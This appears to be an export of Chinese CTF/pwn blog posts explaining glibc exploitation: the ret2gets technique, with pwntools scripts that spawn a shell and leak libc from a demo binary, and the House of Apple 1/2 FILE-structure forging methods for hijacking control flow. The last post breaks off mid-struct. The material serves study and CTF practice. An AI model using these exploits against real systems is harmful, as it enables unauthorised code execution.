[{"content":"https://blog.csdn.net/2502_91269216/article/details/148261096\nhttps://zhuanlan.zhihu.com/p/1923686723877073710\n介绍 ret2gets是一种通过连续调用gets来控制rdi的手法，当程序存在gets造成的栈溢出时可以使用，尤其在缺少pop rdi的时候\n这里一个小demo讲解\n1 2 3 4 5 6 7 8 9 10 11 12 #include\u0026lt;stdio.h\u0026gt; void win() { system(\u0026#39;666\u0026#39;); } int main() { char buf[0x20]; puts(\u0026#34;ret2gets\u0026#34;); gets(buf); return 0; } 我们执行gets之前\n1 2 3 4 5 ► 0x40117d \u0026lt;main+39\u0026gt; call gets@plt \u0026lt;gets@plt\u0026gt; rdi: 0x7fff71460a20 —▸ 0x7fff71460dc9 ◂— 0x34365f363878 /* \u0026#39;x86_64\u0026#39; */ rsi: 0x1 rdx: 0x1 rcx: 0x74453af14907 (write+23) ◂— cmp rax, -0x1000 /* \u0026#39;H=\u0026#39; */ rdi是一个栈地址，也是gets的参数\n单步执行后查看即将退出gets时的寄存器情况\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 RAX 0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* \u0026#39;111\u0026#39; */ *RBX 0x0 RCX 0x704680c1aaa0 (_IO_2_1_stdin_) ◂— 0xfbad2088 *RDX 0x1 *RDI 0x704680c1ca80 (_IO_stdfile_0_lock) ◂— 0x0#这里 *RSI 0x1 R8 0x0 R9 0x0 R10 0x77 R11 0x246 *R12 0x7ffdcee7be78 —▸ 0x7ffdcee7c0f9 ◂— 0x53006f6d65642f2e /* \u0026#39;./demo\u0026#39; */ *R13 0x401156 (main) ◂— endbr64 R14 0x4030f8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64 R15 0x704680e30040 (_rtld_global) —▸ 0x704680e312e0 ◂— 0x0 *RBP 0x7ffdcee7bd60 ◂— 0x1 *RSP 0x7ffdcee7bd40 ◂— 0x7ffd00313131 /* \u0026#39;111\u0026#39; */ *RIP 0x401182 (main+44) ◂— mov eax, 0 发现rdi的值变为_IO_stdfile_0_lock\n关于_IO_stdfile_0_lock,其实就是一个用来保证线程安全的锁，防止多线程下多个线程同时访问同一FILE\ngets函数执行之后rdi所指向的其实就是FILE结构体的的_IO_lock_t *_lock;也就是锁\n1 2 3 4 5 typedef struct { int lock; int cnt; void *owner; } _IO_lock_t; 该结构题里的owner储存的是TLS的地址(每个持有锁的线程的私有空间的起始地址)，该地址与libc偏移固定。\n由于rdi指向这个_IO_stdfile_0_lock，所以ret2gets的基本思想就是在调用gets之后再次调用gets,修改_IO_stdfile_0_lock的内容从而控制rdi\n源码分析 glibc2.35 gets源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 char * _IO_gets (char *buf) { size_t count; int ch; char *retval; _IO_acquire_lock (stdin); // 对标准输入流stdin加锁，防止多线程环境下多个线程同时操作输入流导致数据竞争 ch = _IO_getc_unlocked (stdin); // 通过_IO_getc_unlocked无锁方式读取第一个字符 // 若首字符是EOF（文件结束符或输入错误），直接返回NULL // 若首字符是换行符\\n，则count=0，表示空字符串 if (ch == EOF) { retval = NULL; goto unlock_return; } if (ch == \u0026#39;\\n\u0026#39;) count = 0; else { /* This is very tricky since a file descriptor may be in the non-blocking mode. The error flag doesn\u0026#39;t mean much in this case. We return an error only when there is a new error. */ int old_error = stdin-\u0026gt;_flags \u0026amp; _IO_ERR_SEEN; stdin-\u0026gt;_flags \u0026amp;= ~_IO_ERR_SEEN; buf[0] = (char) ch; count = _IO_getline (stdin, buf + 1, INT_MAX, \u0026#39;\\n\u0026#39;, 0) + 1; if (stdin-\u0026gt;_flags \u0026amp; _IO_ERR_SEEN) { retval = NULL; goto unlock_return; } else stdin-\u0026gt;_flags |= old_error; } buf[count] = 0; retval = buf; unlock_return: _IO_release_lock (stdin); return retval; } 开头结尾分别调用了_IO_acquire_lock/_IO_release_lock来获取/释放 对stdin的锁\n1 2 3 4 5 6 7 8 9 10 # define _IO_acquire_lock(_fp) \\ do {\t\\ FILE *_IO_acquire_lock_file\t\\ __attribute__((cleanup (_IO_acquire_lock_fct)))\t\\ = (_fp);\t\\ _IO_flockfile (_IO_acquire_lock_file); # else # ... # endif # define _IO_release_lock(_fp) ; } while (0) _IO_acquire_lock中调用了_IO_acquire_lock_fct和_IO_flockfile,\n1 2 __attribute__((cleanup (_IO_acquire_lock_fct)))\t\\ = (_fp); 这句话的意思就是在fp上调用_IO_acquire_lock_fct\n1 2 3 4 5 6 7 8 staticinline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (FILE **p) { FILE *fp = *p; if ((fp-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_funlockfile (fp); } 用于锁定和解锁的 2 个宏是_IO_flockfile和_IO_funlockfile。\n1 2 3 4 # define _IO_flockfile(_fp) \\ if (((_fp)-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)-\u0026gt;_lock) # define _IO_funlockfile(_fp) \\ if (((_fp)-\u0026gt;_flags \u0026amp; _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)-\u0026gt;_lock) _IO_lock_lock和_IO_lock_unlock源码如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define _IO_lock_lock(_name) \\ do {\t\\ void *__self = THREAD_SELF;\t\\ if ((_name).owner != __self)\t\\ {\t\\ lll_lock ((_name).lock, LLL_PRIVATE);\t\\ (_name).owner = __self;\t\\ }\t\\ ++(_name).cnt;\t\\ } while (0) #define _IO_lock_unlock(_name) \\ do {\t\\ if (--(_name).cnt == 0)\t\\ {\t\\ (_name).owner = NULL;\t\\ lll_unlock ((_name).lock, LLL_PRIVATE);\t\\ }\t\\ } while (0) 这里_name就是_IO_lock_t *lock,在gets下就是IO_stdfile_0_lock\n1注意到_IO_lock_unlock里有一个\u0026ndash;(_name).cnt == 0,如果条件成立就将owner设为NULL,我们通常会利用owner泄露libc地址，所以这不是我们想看到的\n2如果利用puts泄露地址，owner之前不能出现\\x00\n3 同1，由于\u0026ndash;cnt，所以我们输入的第五字节(cnt)会被-1\n利用方法 2.30-2.36\n如果我们想利用puts泄露地址那么用以下payload\n1 2 3 p.sendline(b\u0026#34;A\u0026#34; * 4 + b\u0026#34;\\x00\u0026#34;*3) # 这里填充 \\x00\\x00\\x00 开头本来就是\\x00 #cnt设为0，--cnt整数溢出变为\\xff... 2.37及以上\n对_IO_lock_unlock做了修改\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #define _IO_lock_lock(_name) \\ do {\t\\ void *__self = THREAD_SELF;\t\\ if (SINGLE_THREAD_P \u0026amp;\u0026amp; (_name).owner == NULL)\t\\ {\t\\ (_name).lock = LLL_LOCK_INITIALIZER_LOCKED;\t\\ (_name).owner = __self;\t\\ }\t\\ else if ((_name).owner != __self)\t\\ {\t\\ lll_lock ((_name).lock, LLL_PRIVATE);\t\\ (_name).owner = __self;\t\\ }\t\\ else\t\\ ++(_name).cnt;\t\\ } while (0) #define _IO_lock_unlock(_name) \\ do {\t\\ if (SINGLE_THREAD_P \u0026amp;\u0026amp; (_name).cnt == 0)\t\\ {\t\\ (_name).owner = NULL;\t\\ (_name).lock = 0;\t\\ }\t\\ else if ((_name).cnt == 0)\t\\ {\t\\ (_name).owner = NULL;\t\\ lll_unlock ((_name).lock, LLL_PRIVATE);\t\\ }\t\\ else\t\\ --(_name).cnt;\t\\ } while (0) cnt!=0时才会\u0026ndash;cnt\n这时我们通过连续两次调用gets解决\n1 2 p.sendline(p32(0) + b\u0026#34;A\u0026#34;*4 + b\u0026#34;B\u0026#34;*8) p.sendline(b\u0026#34;CCCC\u0026#34;) 第一次sendline结果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg\u0026gt; x/32gx 0x7c48ce01ca80 0x7c48ce01ca80 \u0026lt;_IO_stdfile_0_lock\u0026gt;:\t0x4141414000000000\t0x4242424242424242 0x7c48ce01ca90 \u0026lt;__libc_multiple_threads\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01caa0 \u0026lt;__attr_list_lock\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cab0 \u0026lt;init_sigcancel\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cac0 \u0026lt;__nptl_threads_events\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cad0:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cae0 \u0026lt;__pthread_keys\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01caf0 \u0026lt;__pthread_keys+16\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb00 \u0026lt;__pthread_keys+32\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb10 \u0026lt;__pthread_keys+48\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb20 \u0026lt;__pthread_keys+64\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb30 \u0026lt;__pthread_keys+80\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb40 \u0026lt;__pthread_keys+96\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb50 \u0026lt;__pthread_keys+112\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb60 \u0026lt;__pthread_keys+128\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb70 \u0026lt;__pthread_keys+144\u0026gt;:\t0x0000000000000000\t0x0000000000000000 第一个A变为了0x40\n然后第二次sendline我们发4个CCCC，由于gets会对输入数据末尾补0使其是一个字符串，导致0x40又被覆盖为\\x00\n最后\u0026ndash;cnt后结果如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg\u0026gt; x/32gx 0x7c48ce01ca80 0x7c48ce01ca80 \u0026lt;_IO_stdfile_0_lock\u0026gt;:\t0x414140ff43434343\t0x00007c48ce07f740 0x7c48ce01ca90 \u0026lt;__libc_multiple_threads\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01caa0 \u0026lt;__attr_list_lock\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cab0 \u0026lt;init_sigcancel\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cac0 \u0026lt;__nptl_threads_events\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cad0:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cae0 \u0026lt;__pthread_keys\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01caf0 \u0026lt;__pthread_keys+16\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb00 \u0026lt;__pthread_keys+32\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb10 \u0026lt;__pthread_keys+48\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb20 \u0026lt;__pthread_keys+64\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb30 \u0026lt;__pthread_keys+80\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb40 \u0026lt;__pthread_keys+96\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb50 \u0026lt;__pthread_keys+112\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb60 \u0026lt;__pthread_keys+128\u0026gt;:\t0x0000000000000000\t0x0000000000000000 0x7c48ce01cb70 \u0026lt;__pthread_keys+144\u0026gt;:\t0x0000000000000000\t0x0000000000000000 也绕过了检查\n如果我们想控制rdi为binsh的话，由于\u0026ndash;cnt的机制\n我们payload可以如下设置\nb\u0026rsquo;/bin\u0026rsquo;+p8(u8(b\u0026quot;/\u0026quot;)+1)+b\u0026rsquo;sh'\n最后一个要注意的地方，如果在程序结束时rdi!=_IO_stdfile_o_lock的话，我们只需先自己调用一次gets即可\n对于最初的demo\n直接拿shell exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * p=process(\u0026#39;./pwn\u0026#39;) context.log_level=\u0026#39;debug\u0026#39; context.arch=\u0026#39;amd64\u0026#39; # p = gdb.debug(\u0026#39;./demo\u0026#39;, gdbscript=\u0026#39;b *0x40117D\\ncontinue\u0026#39;) elf=ELF(\u0026#39;./pwn\u0026#39;) # gdb.attach(p,\u0026#39;b *0x40117D\\nc\u0026#39;) p.recvuntil(b\u0026#39;ret2gets\\n\u0026#39;) pay=b\u0026#39;a\u0026#39;*0x20+p64(0)+p64(elf.plt[\u0026#39;gets\u0026#39;])+p64(elf.plt[\u0026#39;system\u0026#39;]) p.sendline(pay) p.sendline(b\u0026#39;/bin\u0026#39;+p8(u8(b\u0026#34;/\u0026#34;)+1)+b\u0026#39;sh\u0026#39;) p.interactive() 泄露libc的话,exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p=process(\u0026#39;./pwn\u0026#39;) context.log_level=\u0026#39;debug\u0026#39; context.arch=\u0026#39;amd64\u0026#39; # p = gdb.debug(\u0026#39;./demo\u0026#39;, gdbscript=\u0026#39;b *0x40117D\\ncontinue\u0026#39;) elf=ELF(\u0026#39;./pwn\u0026#39;) # gdb.attach(p,\u0026#39;b *0x40117D\\nc\u0026#39;) p.recvuntil(b\u0026#39;ret2gets\\n\u0026#39;) pay=b\u0026#39;a\u0026#39;*0x20+p64(0)+p64(elf.plt[\u0026#39;gets\u0026#39;])+p64(elf.plt[\u0026#39;puts\u0026#39;])+p64(elf.sym[\u0026#39;main\u0026#39;]) p.sendline(pay) p.sendline(b\u0026#39;AAAA\u0026#39;+b\u0026#39;\\x00\\x00\\x00\u0026#39;) p.recvuntil(b\u0026#39;\\xff\u0026#39;*4) libcbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;)) #没减偏移 print(hex(libcbase)) p.interactive() ","date":"2026-04-06T17:20:28+08:00","image":"http://localhost:1313/image/ret2gets/ret2gets.jpg","permalink":"http://localhost:1313/p/ret2gets/","title":"ret2gets"},{"content":"依旧参考roderick师傅\nhttps://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/\n介绍 范围：2.23至今\n条件：\n可以泄露heap和libc地址\n可以触发IO流\n可以使用largrbin attack等手法劫持_IO_list_all,vtable等地址\n由于调用_wide_vtable里的函数时没有对vtable的合法性检查\n1 2 3 4 5 6 7 8 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)-\u0026gt;FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \\ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)-\u0026gt;_wide_vtable house of apple2可以通过伪造vtable为_IO_wfile_jumps，wide_data为一个可控地址，_wide_vatble为one_gadget等控制程序执行流\n利用_IO_wfile_overflow 函数控制程序执行流 调用链如下\n1 2 3 4 _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp-\u0026gt;_wide_data-\u0026gt;_wide_vtable + 0x68)(fp) 省流 对 fp 的设置如下:\n● _flags 设置为 ~(2 | 0x8 | 0x800)，如果不需要控制 rdi，设置为 0 即可；如果需要获得 shell，可设置为 sh;，注意前面有两个空格\n● vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用_IO_wfile_overflow 即可 ● _wide_data设置为可控堆地址 A，即满足 *(fp + 0xa0) = A ● _wide_data-\u0026gt;_IO_write_base 设置为 0，即满足 *(A + 0x18) = 0 ● _wide_data-\u0026gt;_IO_buf_base 设置为 0，即满足 *(A + 0x30) = 0 ● _wide_data-\u0026gt;_wide_vtable 设置为可控堆地址 B，即满足 *(A + 0xe0) = B ● _wide_data-\u0026gt;_wide_vtable-\u0026gt;doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C\n_IO_wfile_overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 wint_t _IO_wfile_overflow (FILE *f, wint_t wch) { if (f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) /* SET ERROR */ { f-\u0026gt;_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } /* If currently reading or no buffer allocated. */ if ((f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING) == 0) { /* Allocate a buffer if needed. */ if (f-\u0026gt;_wide_data-\u0026gt;_IO_write_base == 0) { _IO_wdoallocbuf (f);// 需要走到这里 // ...... } } } 为了走到IO_wdoallocbuf (f);我们需要绕过三个地方的if检查\n需要满足 f-\u0026gt;_flags \u0026amp; _IO_NO_WRITES == 0 并且 f-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING == 0 和 f-\u0026gt;_wide_data-\u0026gt;_IO_write_base == 0\n_IO_wdoallocbuf 1 2 3 4 5 6 7 8 9 10 11 12 void _IO_wdoallocbuf (FILE *fp) { if (fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base) return; if (!(fp-\u0026gt;_flags \u0026amp; _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用 return; _IO_wsetb (fp, fp-\u0026gt;_wide_data-\u0026gt;_shortbuf, fp-\u0026gt;_wide_data-\u0026gt;_shortbuf + 1, 0); } libc_hidden_def (_IO_wdoallocbuf) 我们需要走到 if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用 这里 要绕过两个if检查，需要满足 fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base != 0 和 fp-\u0026gt;_flags \u0026amp; _IO_UNBUFFERED == 0。\n_IO_WDOALLOCATE 一个宏定义，直接调用_wide_data-\u0026gt;_wide_vtable-\u0026gt;doallocate\n1 #define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP) 利用_IO_wfile_underflow_mmap 函数控制程序执行流 调用链\n1 2 3 4 _IO_wfile_underflow_mmap _IO_wdoallocbuf _IO_WDOALLOCATE *(fp-\u0026gt;_wide_data-\u0026gt;_wide_vtable + 0x68)(fp) 省流 对 fp 的设置如下： ● _flags 设置为 ~(2 | 0x8 | 0x800)，如果不需要控制 rdi，设置为 0 即可；如果需要获得 shell，可设置为 sh;，注意前面有两个空格\n● vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用_IO_wfile_overflow 即可 ● _wide_data 设置为可控堆地址 A，即满足 *(fp + 0xa0) = A ● _wide_data-\u0026gt;_IO_write_base 设置为 0，即满足 *(A + 0x18) = 0 ● _wide_data-\u0026gt;_IO_buf_base设置为 0，即满足 *(A + 0x30) = 0 ● _wide_data-\u0026gt;_wide_vtable 设置为可控堆地址 B，即满足 *(A + 0xe0) = B\n● _wide_data-\u0026gt;_wide_vtable-\u0026gt;doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C\n_IO_wfile_underflow_mmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static wint_t _IO_wfile_underflow_mmap (FILE *fp) { struct _IO_codecvt *cd; const char *read_stop; if (__glibc_unlikely (fp-\u0026gt;_flags \u0026amp; _IO_NO_READS)) { fp-\u0026gt;_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr \u0026lt; fp-\u0026gt;_wide_data-\u0026gt;_IO_read_end) return *fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr; cd = fp-\u0026gt;_codecvt; /* Maybe there is something left in the external buffer. */ if (fp-\u0026gt;_IO_read_ptr \u0026gt;= fp-\u0026gt;_IO_read_end /* No. But maybe the read buffer is not fully set up. */ \u0026amp;\u0026amp; _IO_file_underflow_mmap (fp) == EOF) /* Nothing available. _IO_file_underflow_mmap has set the EOF or error flags as appropriate. */ return WEOF; /* There is more in the external. Convert it. */ read_stop = (const char *) fp-\u0026gt;_IO_read_ptr; if (fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp-\u0026gt;_wide_data-\u0026gt;_IO_save_base != NULL) { free (fp-\u0026gt;_wide_data-\u0026gt;_IO_save_base); fp-\u0026gt;_flags \u0026amp;= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp);// 需要走到这里 } //...... } 需要设置 fp-\u0026gt;_flags \u0026amp; _IO_NO_READS == 0，设置 fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr \u0026gt;= fp-\u0026gt;_wide_data-\u0026gt;_IO_read_end，设置 fp-\u0026gt;_IO_read_ptr \u0026lt; fp-\u0026gt;_IO_read_end 不进入调用，设置 fp-\u0026gt;_wide_data-\u0026gt;_IO_buf_base == NULL 和 fp-\u0026gt;_wide_data-\u0026gt;_IO_save_base == NULL。\n之后的过程参考利用_IO_wfile_overflow 函数控制程序执行流\n利用_IO_wdefault_xsgetn 函数控制程序执行流 调用链\n1 2 3 4 5 _IO_wdefault_xsgetn __wunderflow _IO_switch_to_wget_mode _IO_WOVERFLOW *(fp-\u0026gt;_wide_data-\u0026gt;_wide_vtable + 0x18)(fp) 省流 对 fp 的设置如下:\n● _flags 设置为 0x1800\n● vtable 设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址（加减偏移），使其能成功调用_IO_wdefault_xsgetn 即可\n● _mode 设置为大于 0，即满足 *(fp + 0xc0) \u0026gt; 0\n● _wide_data设置为可控堆地址 A，即满足 *(fp + 0xa0) = A\n● _wide_data-\u0026gt;_IO_read_end == _wide_data-\u0026gt;_IO_read_ptr 设置为 0，即满足 *(A + 8) = *A\n● _wide_data-\u0026gt;_IO_write_ptr \u0026gt; _wide_data-\u0026gt;_IO_write_base，即满足 *(A + 0x20) \u0026gt; *(A + 0x18)\n● _wide_data-\u0026gt;_wide_vtable 设置为可控堆地址 B，即满足 *(A + 0xe0) = B\n● _wide_data-\u0026gt;_wide_vtable-\u0026gt;overflow 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x18) = C\n_IO_wdefault_xsgetn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 size_t _IO_wdefault_xsgetn (FILE *fp, void *data, size_t n) { size_t more = n; wchar_t *s = (wchar_t*) data; for (;;) { /* Data available. */ ssize_t count = (fp-\u0026gt;_wide_data-\u0026gt;_IO_read_end - fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr); if (count \u0026gt; 0) { if ((size_t) count \u0026gt; more) count = more; if (count \u0026gt; 20) { s = __wmempcpy (s, fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr, count); fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr += count; } else if (count \u0026lt;= 0) count = 0; else { wchar_t *p = fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr; int i = (int) count; while (--i \u0026gt;= 0) *s++ = *p++; fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr = p; } more -= count; } if (more == 0 || __wunderflow (fp) == WEOF)//目标在这里 break; } return n - more; } libc_hidden_def (_IO_wdefault_xsgetn) 由于 more 是第三个参数，所以不能为 0。 直接设置 fp-\u0026gt;_wide_data-\u0026gt;_IO_read_ptr == fp-\u0026gt;_wide_data-\u0026gt;_IO_read_end，使得 count 为 0，不进入 if 分支。 随后当 more != 0 时会进入__wunderflow。\n__wunderflow 1 2 3 4 5 6 7 8 9 10 11 12 13 wint_t __wunderflow (FILE *fp) { if (fp-\u0026gt;_mode \u0026lt; 0 || (fp-\u0026gt;_mode == 0 \u0026amp;\u0026amp; _IO_fwide (fp, 1) != 1)) return WEOF; if (fp-\u0026gt;_mode == 0) _IO_fwide (fp, 1); if (_IO_in_put_mode (fp)) if (_IO_switch_to_wget_mode (fp) == EOF) return WEOF; // ...... } 要想调用到_IO_switch_to_wget_mode，需要设置 fp-\u0026gt;mode \u0026gt; 0，并且 fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING != 0。\n_IO_switch_to_wget_mode 1 2 3 4 5 6 7 8 int _IO_switch_to_wget_mode (FILE *fp) { if (fp-\u0026gt;_wide_data-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_wide_data-\u0026gt;_IO_write_base) if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 需要走到这里 return EOF; // ..... } 当满足 fp-\u0026gt;_wide_data-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_wide_data-\u0026gt;_IO_write_base 时就会调用_IO_WOVERFLOW(fp)。\n_IO_WOVERFLOW 1 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) ","date":"2026-04-06T17:18:28+08:00","image":"http://localhost:1313/image/House_of_apple2.jpg","permalink":"http://localhost:1313/p/house-of-apple2/","title":"House of apple2"},{"content":"参考roderick师傅\nhttps://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-1/\n介绍 House of apple1通过伪造IO_FILE的wide_data和vtable(改为_IO_wstrn_jumps），最终通过_IO_wstrn_overflow完成任意地址写的一种手法\n条件1、程序从 main 函数返回或能调用 exit 函数 2、能泄露出 heap 地址和 libc 地址 3、 能使用一次 largebin attack（一次即可）\n源码分析 相关结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct _IO_FILE_complete { struct _IO_FILE _file; __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; // 劫持这个变量 struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don\u0026#39;t get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; 64位程序下struct _IO_wide_data *_wide_data在IO_FILE的偏移位0xa0\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 amd64： 0x0:\u0026#39;_flags\u0026#39;, 0x8:\u0026#39;_IO_read_ptr\u0026#39;, 0x10:\u0026#39;_IO_read_end\u0026#39;, 0x18:\u0026#39;_IO_read_base\u0026#39;, 0x20:\u0026#39;_IO_write_base\u0026#39;, 0x28:\u0026#39;_IO_write_ptr\u0026#39;, 0x30:\u0026#39;_IO_write_end\u0026#39;, 0x38:\u0026#39;_IO_buf_base\u0026#39;, 0x40:\u0026#39;_IO_buf_end\u0026#39;, 0x48:\u0026#39;_IO_save_base\u0026#39;, 0x50:\u0026#39;_IO_backup_base\u0026#39;, 0x58:\u0026#39;_IO_save_end\u0026#39;, 0x60:\u0026#39;_markers\u0026#39;, 0x68:\u0026#39;_chain\u0026#39;, 0x70:\u0026#39;_fileno\u0026#39;, 0x74:\u0026#39;_flags2\u0026#39;, 0x78:\u0026#39;_old_offset\u0026#39;, 0x80:\u0026#39;_cur_column\u0026#39;, 0x82:\u0026#39;_vtable_offset\u0026#39;, 0x83:\u0026#39;_shortbuf\u0026#39;, 0x88:\u0026#39;_lock\u0026#39;, 0x90:\u0026#39;_offset\u0026#39;, 0x98:\u0026#39;_codecvt\u0026#39;, 0xa0:\u0026#39;_wide_data\u0026#39;, 0xa8:\u0026#39;_freeres_list\u0026#39;, 0xb0:\u0026#39;_freeres_buf\u0026#39;, 0xb8:\u0026#39;__pad5\u0026#39;, 0xc0:\u0026#39;_mode\u0026#39;, 0xc4:\u0026#39;_unused2\u0026#39;, 0xd8:\u0026#39;vtable\u0026#39; _IO_wide_data结构体如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct _IO_wide_data { wchar_t *_IO_read_ptr;\t/* Current read pointer */ wchar_t *_IO_read_end;\t/* End of get area. */ wchar_t *_IO_read_base;\t/* Start of putback+get area. */ wchar_t *_IO_write_base;\t/* Start of put area. */ wchar_t *_IO_write_ptr;\t/* Current put pointer. */ wchar_t *_IO_write_end;\t/* End of put area. */ wchar_t *_IO_buf_base;\t/* Start of reserve area. */ wchar_t *_IO_buf_end;\t/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base;\t/* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base;\t/* Pointer to first valid character of backup area */ wchar_t *_IO_save_end;\t/* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; }; _IO_wstrnfile涉及到的结构体如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct _IO_str_fields { _IO_alloc_type _allocate_buffer_unused; _IO_free_type _free_buffer_unused; }; struct _IO_streambuf { FILE _f; const 